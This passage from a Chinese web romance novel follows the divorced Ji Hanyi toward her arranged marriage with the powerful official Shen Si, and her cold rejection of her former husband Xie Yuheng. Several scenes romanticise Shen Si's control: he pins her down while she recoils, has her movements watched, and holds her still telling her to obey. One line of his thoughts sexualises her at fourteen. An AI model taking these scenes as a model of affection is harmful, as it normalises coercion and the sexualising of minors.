沈肆还给她买了许多东西,后面马车都快装不下了。
这时候在马车那车轮与马蹄声里,渐渐就开始疲惫。
沈肆瞧着季含漪那眯着眼睛,还不忘紧紧抱着匣子的模样,一身锦绣月白,眉目如画,带着些懒意的微微歪着头,那耳边的耳坠就随着车轮不停的晃荡,直晃得沈肆心里一窒。
他靠近她,晦涩的目光看在季含漪那饱满的红唇上,喉间微微一滚,身体往季含漪面前压了压。
季含漪本来还在有点疲倦的失神,直到感觉到面前的阴影越来越重,下意识身子往旁边偏,却被沈肆按住了后背。
季含漪被沈肆的动作吓得瞪大了眼睛。
她看着沈肆那幽深的眼眸想要避开,可面前沈肆那宽大温热的胸膛很快往她面前欺身过来,压着她步步后仰,直到整个身子被沈肆压在了宽敞的软垫上。
她不由伸手推在沈肆的胸膛上,有些惊慌急促的开口:“沈大人……”
沈肆低头静静看着季含漪此刻慌乱的神情,在这样暧昧的时刻,她眼中只有慌乱和惊诧。
他本想吻她的动作顿住,也知道自己刚才情绪没有克制,着急了些。
如今两人还没有成婚,若是她被他吓跑了,他只能用强势的法子让她回来,那自然不是他愿意的。
只是他忍受不住,心爱的女子就在自己身边,自己想了她无数个日日夜夜,他仅仅要她一个缠绵悱恻的吻,那他便能再度过这一个长夜漫漫。
他也终于明白女子对于男子的那股致命的吸引,让人上瘾,让人失去理智。
身边同僚为何会说女子才是世上最叫人魂牵梦绕的。
其实他早就体会到了,十四岁的季含漪已经足够香甜,现在的季含漪更是一支带着露绽放的芙蓉,娇艳欲滴,叫他全无理智,只想尽快采摘下她。
他抿了抿唇,声音克制冷静的问她:“你好似很怕我。”
季含漪怔了怔,她是怕他的,怕他身上的严肃气,怕自己在他眼里做的不够好,也怕自己会在他面前犯错。
他总是冷冰冰的,也几乎不怎么说话。
季含漪哑了哑,不知道该不该承认……
沈肆摸了摸季含漪光滑的脸庞,又低声道:“夫妻之间不该是我们这般的,我一靠近,你就躲开。”
季含漪茫然的听着沈肆的话。
可在她心里,她与沈肆虽说很快就会结为夫妻,但她很明白那是有不同的。
他们是夫妻,但不是真正的夫妻。
她也很清晰的知道自己对沈肆不是喜欢,或许在她心底深处,早不敢喜欢任何人了。
她在失神里,又听沈肆叹息般的声音:“含漪,慢慢就会习惯了。”
“慢慢的我们还会有孩子,你不能总与我这般生疏。”
季含漪瞪大了眼睛。
孩子……
她从未想过,或是她从未来得及想过这些。
沈肆看着季含漪震惊的眸子,微微挑了挑眉,指尖落入她已经松散开来的发丝里,低低道:“夫妻怎么会没有孩子呢?皇上该怎么想?旁人又该怎么想我与你的关系?”
季含漪失神的张口下意识的想辩驳:“可我们不是……”
沈肆黑眸看着季含漪,替她说了她想说的话:“不是真夫妻?”
季含漪点头,声音很细:“不是真的……”
沈肆垂了垂眸,低垂的眼眸
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将所有暗沉隐去:“但旁人眼里,我们是夫妻,与别的夫妻没有什么不同。”
“也要有自己的孩儿的。”
季含漪张唇,下意识的就说出来:“可是可以给沈大人生孩子的女子有许多。”
季含漪觉得,沈肆只是要避免皇上的赐婚,即便沈肆将来会三妻四妾,季含漪也从来都不会觉得有什么不对。
她早就做了这样的打算。
她甚至还想过万一沈肆将来纳的妾室出身比她高,她应该用什么方式管理后宅,怎么努力扮演好自己的角色。
万一沈肆将来遇上了心仪的女子,她该怎么做。
沈肆的神情微微一顿。
他稍稍抬起了身,低头认真看季含漪的眸子。
跳跃的烛火里,那双漂亮的眸子很清澈,不参杂任何的杂质,是她心底深处的话,是她从始至终都是这么觉得的。
她甚至觉得他将来纳妾,身边有其他的女子都是一件再寻常不过的事情。
因为她不在乎。
她是真的不喜欢他。
沈肆抿了抿唇,他收敛神色,不由得微微深吸一口气。
托着季含漪从软垫上坐起来,他闭目靠在马车上,放在膝盖上的手背,隐隐捏出了青筋。
马车内昏昏暗暗,季含漪看着沈肆的侧脸,这一瞬间他身上的那股凉薄冷酷吓得她一怔,连呼吸都不敢大声。
这一刻的沈肆真的很吓人。
沈肆似也察觉到了这一刻马车内气氛凝结,微微眯眼开眼睛,斜斜看向季含漪,见着她脸色微白,似怕他的模样,微微一顿。
他抿了抿唇,又缓了眉目对季含漪低声道:“别怕,我们慢慢来,慢慢习惯。”
说着沈肆又将刚才落在软垫上的一根鎏金簪斜插在季含漪的发上,又低头替季含漪理了理刚才被弄皱的领口,低低道:“我们大婚之前,这些日你就呆在院子里,我常去看你。”
季含漪愣愣的,看着沈肆此刻又变得矜贵冷清的面容,看着他从容不迫的动作与叮嘱,仿佛刚才的一切都如幻觉一般。
她被他的眼眸看着,他的眼底带着让人不容置疑的力道,她情不自禁的点了点头。
第190章 他给了她这么多
到了地方的时候,沈肆未下马车,只是又叮嘱她几句,让她无论去哪儿,务必让与前门的人说。
季含漪都点头。
回去后,季含漪打开那匣子,发现抱山楼的地契下还有几张纸,不由好奇的拿出来,等看清了之后又是一愣。
下头的是她当初曾卖了的那两间铺子,除了那两间铺子的地契,甚至里头还有一处庄子和另外两间铺子。
沈肆竟然给了她这么多。
她微微的失神。
到了第二日,抱山楼和其他铺子的管事就带着账目来了,让季含漪一一过目。
季含漪粗粗看了看抱山楼的账目,一月的进账有时候就上千两。
可沈肆就这么给了她,仿佛这不过沈府家产的冰山一角。
季含漪还是认认真真的比对了账目,也好心里有数,也是想要好好打点的。
沈肆既然给了她,她便好好经营着,好好存银子,不管出了什么事,只要还有银子傍身,那便多了一条后路。
又过了两日,季含漪的确没出去过了,但沈肆这两日里夜里都会过来与她说几句话才走。
季含漪其实是很喜欢过平静的日子的,已经没有了琐事,这几日就陪着母亲在后园子里种种花草,说说话,闲暇的时候便画一画。
她这处宅院应该没有人知晓,所以也异常的清静。
但这今日母亲忽然说想要回去看看外祖母。
季含漪便与母亲稍作收拾,想着现在这里的一切都安稳了,陪着母亲一起回去看看外祖母也好。
顾氏尤其觉得愧疚,将上回沈肆送给她的那只百年人参拿着,打算拿去送给顾老太太。
顾氏觉得她们现在的日子一切平稳了,又有了宅子还有了铺子,在京城又有沈肆护着,一切日子都好起来,就想也给张氏和刘氏也送些东西去。
季含漪拦着道:“前些日女儿送的不少,往后再送吧。”
顾氏想了想也罢了。
到了顾府,顾府门前的下人见着季含漪和顾氏也很高兴,连忙进去传话了。
已经有些日子没有见了,顾老太太见了顾氏气色变好,身子好似也好了一些,也能下来走动了,眼眶便红了,母女两人坐在一起,都哽咽了。
堂屋内大房二房的人都在,顾宛云也在。
顾宛云失神看着季含漪,见着她如今一身穿戴,身上是月白的妆花缎,发上是珍珠簪子,就连脖子上也戴了漂亮至极的珊瑚璎珞。
在有一瞬间,她觉得她仿佛又看到了从前季家还在时的季含漪了,不管去哪里,她总是能轻易的惹了她们的目光,她装扮的是浓是淡,在她身上都恰到好处。
她这些日日日都在想那天沈大夫人和崔氏的话,她像谁呢,她唯像季含漪,却永远比不上她。
因为上回沈家的那件事,她如今也不敢出府,生怕那件事情传出去,她没了脸面见人。
可看季含漪依旧容色明亮,甚至她眼角眉梢都透出股端方从容。
明明她才是被和离的那个,明明她家道中落应该什么都没有的,为什么如今自己竟连她也比不上了。
她嫉妒。
她真的很嫉妒。
张氏眼神微微有些凉的看着季含漪,没有如旁边刘氏那么殷勤的上去搭话,一直沉默的坐着。
她的儿子现在为了季含漪与她离心,她的女儿在沈府诗会上出丑,差点影响名声,每每想起来,心里就气恼的不行。
快到中午的时候,顾晏匆匆赶回来,直接就跨进了堂屋,眼神只看在季含漪的身上,喘着气,又低低道:“漪妹妹。”
张氏的手捏紧在一起,紧的都在发抖。
季含漪见着顾晏来,先是愣了下,接着又应了声。
季含漪想起要问顾晏的事情,这些日他一直没回信,她也不知晓他到底如何想的,便主动问起来。
顾晏看向季含漪的眸子顿了顿,接着又道:“能出去说话么?”
顾氏看向季含漪:“去吧,好好说。”
顾氏知晓顾晏对季含漪的心思,现在季含漪马上要成婚了,该和顾晏说清楚。
季含漪便应了一声,跟着顾晏走到了门外廊下。
张氏眼睁睁看着自己儿子跟着季含漪出去,又恨了下,再朝着身边
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婆子使了个眼色,那婆子便悄悄的退了下去。
屋外廊下,顾晏失神看着季含漪:“我给漪妹妹送去的信,漪妹妹为什么没回?”
季含漪真没收到顾晏的信,便道:“表哥是说去蔚县的事情么?表哥可想好了?”
顾晏抿了抿唇点头:“去蔚县的事情可能改变不了,其实于我来说也是一次机会。”
季含漪便松了口气:“那便好。”
她心里的愧疚也少了些。
顾晏又哑声问季含漪:“你没在原来那处了么?我去找了你好几次。”
季含漪点头:“谢家的找上了我,我不能再住在那里了。”
顾晏眉目里就染上的难过:“对不起,是我母亲……”
季含漪便道:“表哥不必自责,我没怪谁。”
说着季含漪就又后退一步:"晏表哥,我先进去了。"
季含漪现在的确不想与顾晏再说什么,说完也不等顾晏反应,就先转了身。
顾晏伸到一半的手落了空,眼神怔了怔,又捏紧了手。
他匆匆回来见她,但季含漪眼角眉梢都是对他的避之不及……
面上露出了些许痛苦,又转身有些失魂落魄的往外走。
屋内正说着沈府与承安侯府的大婚,顾老太太还有些遗憾:“原以为宛丫头有那个造化,倒是可惜了。”
张氏脸色一下变得难堪起来,刘氏就笑了下道:“也没什么可惜的,也不想想沈家是什么门第,哪里能是去上门一趟就想到婚事的?这不是痴人做梦么。”
张氏忽的站起了身,指着刘氏,却半晌没说出一个字。
刘氏冷笑一声,也不看张氏一眼。
顾氏看了这场面脸色一顿,本来还想与顾老太太说季含漪的婚事,这下想着暂时也先不说了,等再过两日,大婚前一日送信回来再说也不迟,免得这会儿在这儿说了平白惹出些尴尬来。
张氏这个样子,顾氏也不想呆了,到了快中午的时候也不打算留下用膳,就要离开,只是出了门口的时候,季含漪却在门口看到了她最不愿看到的人。
那人是谢玉恒。
第191章 第一次主动往沈肆身上靠
再见到谢玉恒,季含漪的眼神微微一顿。
只见谢玉恒身形瘦了好些,从前清明的眼睛,如今全是疲惫与颓废,他站在顾府大门中间,身后还站着谢家大夫人。
谢家大夫人脸上的倨傲神色比起上回收敛了许多,但眼底深处,依旧带着股高高在上的施舍。
季含漪看了这幕眉间一皱,没看谢玉恒,侧头看向张氏。
张氏被季含漪这么一看,本来是想来看热闹的,脸色顿时就一慌,又强做镇定的不说话。
那头谢玉恒已经三步并作两步的往季含漪的面前过来,一过来就想要拉着她的手,被季含漪守在马车旁的护卫给拦在了后面,又将他往后推。
谢玉恒脸色苍白的被护卫拦着,他神情震惊的看着季含漪那双冷淡的眼睛,急促道:“含漪,我后悔了,我真的后悔了。”
“你与我回去,我们与从前一样。”
谢大夫人看着自己儿子被护卫无礼的推搡着,心里头气恼的不行,顾家的人竟然这样对他们,便冷眼看向季含漪:“我们好好与你说,你这样做真要撕破脸么?”
季含漪连看也不想看她们,更别说多说几句话,只是对身边母亲道:“我们先上马车。”
顾氏赶紧点头。
如今自己女儿马上嫁给沈侯爷,大好前程,也是不想与谢家的有什么纠缠。
林氏被季含漪这无视的态度气得身上发抖,还想要说话的时候,却被身边的谢玉恒吼住:“母亲!”
林氏被谢玉恒的声音吓住,一下子愣在了原地。
谢玉恒又满眼血丝的看向季含漪,她身上好似看不到一丝他期盼的后悔,她比从前更从容,举手投足里都是安静恬淡,一身秀婉,明眸雪肤,细眉妩妩。
他看得愣了愣,痴痴看着季含漪沙哑道:“从前都是我不好,千般万般都是我的错,我们重新和好好不好。”
季含漪淡淡看谢玉恒一眼,看着谢玉恒如今颓败模样,没半分从前芝兰玉树的影子,她对他早就不生喜怒了,甚至连与他说一句话都提不起兴致。
若是真要说什么,她希望他永远都过不好。
看着谢玉恒布满血丝的眼睛,季含漪稍微顿了顿,声音很淡:“谢大爷,还记得那个雪夜么?要是没有刘御使好心,让人及时清了雪,让我能够回去,我可能差点死在了那晚。”
“可那晚你和李眀柔正温香软玉互诉衷肠。”
“你差点害死我,却要我继续与你同路,你叫我觉得你是天底下最恶毒的人了。”
“我只希望你也能死一次,死一次你应该就明白了,明白我究竟有多厌恶你。”
谢玉恒听着那平静的话,却字字刺心,在心口划刀,几乎差点踉跄着摔倒,眼里一瞬间就红了。
她在那夜差点**。
他那夜在做什么,满心满眼全是李明柔,从未管顾过她。
好似她是该恨他的……
可他下意识的依旧想要反驳:“对不起,我不是故意的……”
“我没想到你会出事……”
“我那时候……我那时候……”
谢玉恒忽然抱着头,霎那间觉得连自己都说服不了自己。
季含漪冷淡的看谢玉恒一眼,这样的人永远都不会觉得自己有错,永远都在给自己找借口说服自己。
所以他心安理得,所以他自负。
季含漪没有打算再理会谢玉恒,正扶着母亲上了马车,自己也要上去的时候,这时候顾府门前却又停下另一辆华贵的马车。
马车外头护卫站了五六人,个个腰上戴着佩剑,文安弯着腰赶紧小心的去旁边掀帘子。
众人的目光便都被引往了那马车上,刚才还吵闹的声音一下子就止了下来。
紧接着一道矜贵修长的身形从马车上下来缓缓下来,一瞬间叫众人的呼吸一凝,不自觉的都住了声。
林氏更是脸色微微一变。
她今日想的是若是在这里将季含漪劝回去,要是她不识好歹的话,就让人半路上将季含漪给强行带回谢府。
一个女子,无凭无故在男子家中过了两夜,就凭着这个名声传出去,季含漪要是还想在京城有点名声,也必须要回到谢家来。
只是她没想到的是,沈侯居然会出现在这个地方。
接着她又瞪大了眼睛,直直看着沈侯居然又径直走向了季含漪。
这一瞬间,临时忽然生了个骇人的念头。
前一日里谢锦回来抱怨,说都察院的最近总盯着路元,叫路元过去问话都问了好几回,为官这么多年,哪里能半点小辫子都没有?路元这些天都提心吊胆的,不知道自己到底做了什么得罪沈侯的事情。
又看沈肆自然而然的走到季含漪身边,难道说……
这边季含漪见着沈肆过来,忙
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往他身边站了站。
沈肆低视线扫了眼谢玉恒,又低头看着季含漪。
他见着她目光里的冷冷清清,笑了笑,接着又朝着季含漪伸手。
季含漪一愣,看着面前沈肆伸过来的掌心,稍犹豫一下,很快将手搭在他的掌心里。
她的手很快被紧紧握住,沈肆低沉的声音传来:“现在回去么?”
季含漪赶紧点头。
她一刻都不想要再看见谢玉恒。
沈肆瞧着季含漪这模样,白净漂亮的眉眼往他看来,第一回还主动往他身前靠了靠。
他挑了眉,握紧她的手,牵着她往马车上走。
谢玉恒失神的看着这幕,失神的看着季含漪被沈肆牵住的手。
他喃喃着:“不可能的……”
季含漪身后早已无人,她怎么能与沈侯爷站在一起。
那可是沈候。
皇后的亲弟弟,皇上最器重的人,连他都够不上人家脚底的人。
谢家在沈家面前更是连门槛都摸不着,这样的天之骄子,怎么可能会牵着季含漪的手。
他只觉得出了幻觉,他不相信。
一直看到季含漪跟随着沈肆一同上了马车,他才身形踉跄,几乎栽倒在地上。
身上的疼让他又一瞬间恢复了理智,也是,怎么会呢,根本不可能的……
又想到如今京城里都说沈侯与承安侯府定了亲事,那个人定然不会是季含漪,便又忽然想到一个可能,那就是季含漪为了让他后悔,为了故意气他,也或是为了生计为了后路出卖了色相。
不得不承认,季含漪的生的是京城里难有的绝色,沈候被季含漪的相貌迷住或许也有可能。
但那终究不是长久之计,也不过是男人眼中的玩物。
他失魂落魄的想,如今的季含漪,竟然堕落到了这个地步。
难怪他被沈候处处针对,难怪上回和离时也是沈候在场,他们又是从什么时候开始的。
谢玉恒又觉得浑身一凉。
林氏更是脸色煞白,视线看向张氏,急促的往她面前走过去问:“沈候什么时候与她有关系了?”
张氏亦是失神,她都没有回过神来,她更不清楚到底是怎么回事。
站在她旁边的顾宛云却早已经眼里含了一汪泪光,浑身发抖,她又想起那日她听的话,她失神的往后退,原是这样……
原是这样的……
第192章 她退晚一步,他就咬上去了
这头季含漪和沈肆上了马车,马车走的很慢,季含漪正奇怪的要问沈肆怎么会来,沈肆却低低凑到她耳边哑声道:“含漪,往后看。”
炙热的呼吸扫过耳边,季含漪浑身忍不住轻颤了下,那股痒好似痒至了全身,酥酥麻麻叫她的心也跳了跳。
季含漪不想叫沈肆看出她有什么不对来,听沈肆话的转身往后看去,就见着不远处,李眀柔不知晓从哪里冲出来的,身边还跟着四五个膀大腰圆的婆子,一冲出来就往谢玉恒身上扑。
接着季含漪就看到谢玉恒一把将李眀柔推开,隐隐约约能够听到咒骂声,李眀柔却如泼妇一般朝着谢玉恒尖声叫出来:“你为什么还来找她。”
季含漪看着那一幕看得有些失神。
从前的谢玉恒是端方冷清的君子,在外从来都是恪守规矩,仪态从来都不会出错。
两人成婚这三载,除了和离的那些日子,之前两人连吵架都是没有过的。
但此刻季含漪看着谢玉恒满脸厌恶的看向李眀柔,骂出她从未听过的肮脏语句,一声声骂出来的**,让季含漪听着都觉得她从前认识的,仿佛都不是真正的谢玉恒。
那个对李眀柔疼惜爱护到了骨子里的人,那个将所有的偏爱都给了李眀柔的人,有一天原来也会将那些爱意全部摧毁,变成现在满脸狰狞的咒骂。
而从前那个温柔如水,讨得整个谢府喜欢的李眀柔,此刻形容如疯癫,全都是爱而不得的指控。
两情相悦好似也并不那么情比金坚。
那情比金坚的感情,世上可有。
沈肆坐在季含漪身边一侧,低头静静看着季含漪那好似有些怅然若失的眉眼。
弯弯细眉下的眸子透彻干净,长睫轻颤下如一汪清水。
今日知晓她突然过来顾府来的那一股不悦,还是被冲淡了。
在两人成亲之前,沈肆不想让季含漪去任何地方,不想让她见任何人。
他半点差错都不想有,他只想顺利又尽快的将人娶到身边来。
但沈肆知晓自己显然不能这么做。
他更不能对她展现出一丝一毫的不高兴,她是自由的,她想要去蔚县也是想要求得自在,他不能将她困的太牢太紧,让她想要挣脱。
他只能患得患失的不断说服自己,她永远都不会离开。
呼吸因为就坐在身前的人渐渐的发紧,身体一寸寸因她紧绷,他是再正常不过的男子,对心仪与欢喜的女子从来都无法抵抗。
视线不由的下移,落在季含漪那翠色领口下白净的皮肤上,那里的那一颗小痣也生的格外的旖旎,视线又下落至她胸前的起伏,不由的喉间滚了滚。
年少时见过的场景再现,他放在季含漪身侧的手,不由的慢慢往季含漪的腰间放去,又看向她耳边的红宝石耳坠,那耳坠闪烁着琉璃光线,随着马车缓慢的移动而轻晃,一点一点打在那流畅的脸颊上。
沈肆知晓季含漪耳垂处定然是她敏感的地方,他呼吸一重,轻轻凑了过去,眼底看着那一抹白净肤色,很想吻上去。
他想着,要是吻重一点,那时候人是不是就会一下软在他怀里了。
耳垂和颈边的确是季含漪最敏感的地方,所以沈肆呼吸里的每一点靠近,她都感觉到了。
又痒又麻,又落至浑身,就像是羽毛轻挠,不轻不重的在折磨她。
她连呼吸都放轻了,直到那炙热的呼吸好似要烫坏她的皮肤,她才终于撑不住的往后仰了仰。
抬起眼帘的一瞬间,对上的是沈肆低垂下来的幽深黑眸,黑眸中滚滚情绪翻涌,仿佛也如他的呼吸那般灼人。
季含漪自然不是什么情事都不知晓的闺阁女子,她能够感受到那股暧昧,只是她不能适应这样的亲近。
因为那个人是沈肆。
高华冷清,好似无欲无求,她历来当做如长辈那般信任和敬仰的沈肆。
觉得好似与他那般亲近,竟有股莫名淡淡的负罪感,好似亵渎了心里头最要紧的人。
更何况还是在
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马车上,马车外头还有随行的护卫。
季含漪虽明白,但也是深闺妇人,谢玉恒更恪守规矩,除非是在夜深人静的帐内,其余地方她也没经历过这样的暧昧。
沈肆静静看着季含漪躲避的动作,要是她再退晚一步,他就咬上去了。
又看着季含漪垂着眼帘躲避的眼眸,沈肆挑眉看着,压着心里头的那股欲求不满的浅浅燥郁,捏在季含漪腰上的手指紧了紧。
他神色依旧淡定,仿佛刚才往人脖子里凑的人不是他,一派端方严谨的模样,又低低的问:“看的满意么?”
季含漪知晓沈肆问的是什么,她低垂着眼帘,眼神往旁边偏,指尖紧捏在绣帕上,仿佛还在为刚才那一幕心有余悸,她很快点头:“满意的。”
沈肆又问:“瞧见他们两个这个样子,觉得出气了么?”
季含漪一愣,又点头:“出气了,都是他应得的。”
沈肆笑了笑。
又低声道:“等我这些日的事情忙完了,过一阵还有更叫你觉得出气的。”
季含漪抬头看向沈肆,俊美的面容带着淡淡的冷酷,明明嘴角有一丝笑意,但那笑意却叫人看得害怕。
她忽生了一个淡淡的心思,要是当初自己没有答应帮他,他会怎么对自己。
再有他这般人,真的需要自己的帮忙么。
身后的那一团乱已经渐渐远去,沈肆斜睨了眼季含漪失神的神色,放下了后面的帘子,握在季含漪的腰上回身。
季含漪身上僵硬,上回在寺庙里都将她腰上捏青了,这会儿他再捏在那里,她浑身都紧着。
想要推开,偏偏沈肆是镇定自若的神情,指尖在她那里轻捏着,仿佛是在做最自然的事情。
但她的身体还是往旁边微微挪了挪。
身子一直僵到了马车停下,季含漪才偷偷的松了口气。
沈肆微微睨过去季含漪那松口气的小动作,放在她腰间的手微微一顿又松开,接着先下了马车再牵着季含漪下来。
第193章 大婚那天,从承安侯府出嫁
季含漪被沈肆牵着下马车好几回了,之前还会不好意思,有些想要逃避,现在看到沈肆的手,竟然下意识的就搭了上去。
顾氏的马车是走在前面的,下了马车见着季含漪搭着沈肆的手下来,目光里很是欣慰。
若是没有那么一两分喜欢,沈肆这样出身和性情的人,又怎么会愿意亲自伸出手扶着女儿下来。
季含漪见着母亲站在一边等她,就与沈肆告别,想要往母亲那头去。
季含漪其实还有点不适应在外头与沈肆这样牵着手,这处院子虽说安静,好似平日里也基本没人从这里经过,但旁边还站着好几个护卫,总归有点难为情的。
沈肆松了手,看着季含漪从身边离去,目光扫过顾氏脸上的表情,见着她满意,想着自己总算又多一人能劝着季含漪亲近自己了。
他跟在季含漪身后一起进去。
沈肆进去后单独见了顾氏,季含漪候在廊下,不知晓两人会说什么,也是有点好奇的。
没等一会儿,沈肆就出来了。
他见着等在廊下的季含漪,走到她身边看她。
沈肆的面容一如既往的冷清矜贵,眼神亦是冷冷清清的。
季含漪好奇的看向沈肆问:“刚才沈大人与我母亲说什么了?”
沈肆垂眸,眸中深深:“我们还有不到五日就要大婚了。”
季含漪听着这话,总觉得怎么日子过得这么快。
竟然只有不到五日了。
好似她上一刻才答应嫁给沈肆,下一刻就要与沈肆成婚了。
说不忐忑也不可能的。
但季含漪抬头看向沈肆轻声道:“沈大人放心,我都准备好了。”
这话季含漪不知说了多少回了,好似表忠心那般。
沈肆瞧着季含漪这模样,心里头其实并不是那么畅快的。
但好在能很快拥有她。
他又开口她道:“这几日先就在院子里,等过两日我接你去承安侯府。”
说着沈肆一顿,目光看在季含漪身上:“大婚那天,你从承安侯府出嫁。”
“含漪,往后承安侯府是你后靠的倚仗,你从承安侯府出嫁于你有好处。”
“这件事我已与你母亲说好,你母亲也理解的。”
季含漪听明白了沈肆的意思,其实她也更能明白沈肆这么做的用心与用意。
沈家高门贵胄,平日里来往的人也都是鼎贵人家和皇亲国戚,就如上回皇后娘娘说的那般,不是一个圈子里的人,便很难融入。
或许就连在沈家都有些难融入。
但现在她是大长公主的义女,从承安侯府出嫁,大长公主的身份摆在那里,即便皇后娘娘与皇上都要礼遇,更何况是其他的人,她也算有了靠山,旁人也不敢在明显上欺负,觉得她身后没有倚仗。
季含漪很感激沈肆的用心,她抬头细声道:“我都听沈大人的。”
沈肆听着这称呼,其实并不是很满意的。
他不想再听季含漪叫他沈大人这刻意疏离的称呼。
但现在让她叫他夫君又为时尚早。
好在只有五日了。
沈肆又从文安手上拿过一个册子放到季含漪手上:“你的嫁妆我替你准备好了,放在承安侯府的,到时候随你一同入沈家。”
季含漪拿着那嫁妆单只觉得拿在手上都觉得有些沉。
她想起他嫁谢家的三年,因着她那简陋的嫁妆,被谢家人瞧不起了三年,可沈肆如今却为她特意准备了一份。
她看向沈肆,心里头却忽觉的千金重:“沈大人不必给我这么多东西的。”
沈肆冷清的挑眉,他想,或许觉得亏欠也好,至少还有牵绊。
但给她的东西,都是他想给她的。
他神色没有变化,只是道:“我娶妻,不会亏待了妻子的,你拿着便是。”
季含漪紧了紧手,又低头小声道:“往后我定然好好做好沈大人身边的贤妻,好好做好份内的事情,也好好帮沈大人,一定不会叫沈大人难做和烦恼。”
沈肆沉眸抿抿唇。
他并不想要什么贤妻,他相信她能够做得很好。
他想要的是能够喜欢他,一颗心牵挂在他身上的爱人。
她
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不会抗拒他的触碰,她会喜欢主动靠近他,会为他也吃醋,甚至还会对他撒娇使小性子。
他希望她早忘了什么恩情。
夫妻之间没有恩情。
可惜现在不能够告诉她,他骗了她,或许一辈子也不能告诉,可到底他们也有一辈子,一辈子让她慢慢明白,也已经足够了。
沈肆微微低沉的叹息,看着她满是感激的微红眼眸,只低声道:“无妨,你做你自己就好,我也并不需要一个事事尽善尽美的贤妻。”
季含漪怔了怔。
沈肆眼眸昏暗,看着近似咫尺那茫然的眼神,那粉色的红晕如雨如雾,朦朦胧胧,诱人至极又香甜可
季含漪又小声问沈肆:“我好似还没去沈家见过老夫人,没有关系么?”
沈肆目光依旧沉静:“等你嫁给我后,见到的时候会很多。”
说着沈肆又低低说了些后日来接她去承安侯府的话,让她这些日先准备着,最后沈肆看向季含漪,眼里墨色如潭,带着些他历来的冷清,又带着一股浅浅的温度:“含漪,我走了。”
季含漪忙嗯了一声:“我送沈大人吧。”
沈肆要等的不是这句话,但总好过她让自己走的好,总算还能送他一程。
沈肆余光往季含漪身上看,多看一眼便能想到大婚之日。
心里微微起伏,又缓了缓心绪,嗯了一声,两人一起并肩出去。
送到门口的时候,沈肆让季含漪先回去,他目送着人走了才上了马车。
马车内好似还残留着季含漪身上那股淡淡的味道,香甜又柔软,沈肆闭着眼睛,想着刚才搂在季含漪细腰上的温度,心口发烫。
直到马车外传来文安的声音,沈肆才睁了眼,眼底沉色冷淡,又道:“不管前门有什么动静,她去了哪儿,谁去过,都要尽快来告诉我。”
文安连忙应下,明白侯爷的意思,想着这是还有几日大婚,生怕出错呢。
今日季姑娘前脚才往顾府去,侯爷后脚都要跟过去,手上的文书案子都不管了,像是生怕出个什么意外似的。
第194章 聘礼
晚上的时候,季含漪沐浴梳洗了才躺在床上看沈肆给她的那册嫁妆单子。
本来是打算随意看一看的,结果越看越瞪大眼睛。
除了上回沈肆给她的铺面宅院和抱山楼,还有城郊水田六十亩,还送了她两处庄子,接着就是琳琅满目的首饰布匹,家具器皿和文房。
每一样都考虑的周到,每一样都没有落下。
四季花卉纹的妆花缎,绣百子图的浣花锦被,还有好几套的头面,琥珀,玉佩,季含漪光是略微看过去,都知晓是极好的东西。
季含漪的心跳了两下,又将册子好好放在枕下,想了想又锁在匣子里,才重新躺回床榻上,看向床帐呆了呆。
又过了三日,这几日季含漪基本就是呆在宅院里没有出去过,直到这日上午的时候,沈肆来接她去承安侯府。
去的时候,顾氏牵着季含漪的手低声嘱咐了好些话,让她在承安侯府要一切守规矩,虽说得了大长公主的青睐,也即将要嫁给沈肆,但也不能在那里出什么差错。
她又道:"你父亲从前说定然要懂得知足,你要记着这些话,不骄不躁,不贪心,不强求,你一辈子顺顺遂遂,不会太难的。"
季含漪都记在心里,眼眶润了一下,轻轻点头。
顾氏紧紧拉着季含漪的手,眼眶里满是泪水,又抱着季含漪,埋在她肩头低低落泪。
毕竟季含漪这回去,再见的时候,季含漪就又为人妇,沈家大宅个个出身高贵,更不知晓那里头妇人是什么性情,季含漪毕竟也还年轻,说不担心,也是不可能的。
季含漪听着母亲哽咽的声音,眼眶也红了红,在屋内哄了母亲好半晌才算哄好了。
出去的时候,沈肆正站在外头等,回头见着季含漪那红红的眼眶,只无声的过去站到季含漪的身边,又看向跟着季含漪出来的顾氏低声道:“岳母放心,我会照顾好含漪的。”
顾氏从未听到过谢玉恒对她喊过一声岳母,如今听到沈肆的这一声,又是满眼泪水的点头。
上到马车内坐好,沈肆问季含漪:“会紧张么?”
季含漪老老实实的点头:“有点。”
她对承安侯府其实还算不得熟悉,上回见大长公主也不过一回,她还没见过承安侯府夫人,也不知晓侯府其他人对她又是什么态度。
她要在侯府待两日,的确是有点紧张的。
沈肆就忽的捏着季含漪的腰,将人轻轻一提,就提到自己的腿上坐着,一只手托着她的后背,一只手捏在她腰间。
第一次这么抱她,娇娇软软的人看着生的水灵饱满,但抱在怀里是不重的。
他捏过她手腕,骨节小,有点肉肉的,但看着纤细。
沈肆老早就想这么抱了,所以这会儿看着季含漪呆愣的眸子,和还想要逃避挣脱的动作时,便早有防备的紧紧按着人不叫她动,又道:“含漪,听话些。”
他的声音落下,怀里的人果真就一愣后老老实实的不乱动了。
沈肆将人微微有些僵硬的身子按紧在怀里,让她脸颊贴在自己胸膛上,他鼻尖轻蹭着她发顶,又深深叹息一声。
还是这般乖巧柔软的性子,叫人揉在怀里都舍不得放开,他不过是才抱了这一下,就觉出她身上的软香,又想夜里抱着入睡,这么软软的身子抱着,他大抵也不想要早起了。
季含漪被这会儿早脑中一团全绞乱了,坐在沈肆的腿上,动都不敢动一下。
又听到头顶沈肆沙哑的声音:“承安侯府的人都很和善,我也叮嘱过了秦彻,他也会让她嫡妻照顾好你的。”
季含漪知晓秦彻是承安侯府世子,是与沈肆自小相识的好友,她便也点头。
沈肆又低低道:“成婚前两日,听说不能见,说是寓意不好。”
季含漪知晓这规矩,便就道:“沈大人别担心我,我会在承安侯府会好好的。”
沈肆握在季含漪腰上的手又紧了紧。
软软的声音善解人意,却叫人更舍不得放开她。
他轻轻抚着她的后背,缓缓叹息般说了句:“好含漪……”
季含漪呆在沈肆的怀里不敢动,低着头,沈肆的身上好似滚烫,烫的她被沈肆抚过的后背像是也生了一层薄汗。
她脑中乱七八糟,如一团乱麻,没理出一根丝线。
她想拒绝这样的亲近,但好似她也拒绝不了。
她只觉得自己正被一根丝线
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牵引着往前走,好似往后许多事情都不能叫她做主了。
她恍恍惚惚的想着,和她当初想的似乎有一点不一样。
既有点抗拒,又觉得自己应该接受的复杂情绪在心里头交织,叫她自己都茫然自己应该怎么做。
沈肆一直低头在瞧着季含漪的神色,见着人失神,又低头靠近她,呼吸都往她后颈上落。
他很想引诱她,但经验并不足够,好似也没什么效果,瞧人坐在他怀里都正正经经,正襟危坐的模样,又有点怀疑起自己来。
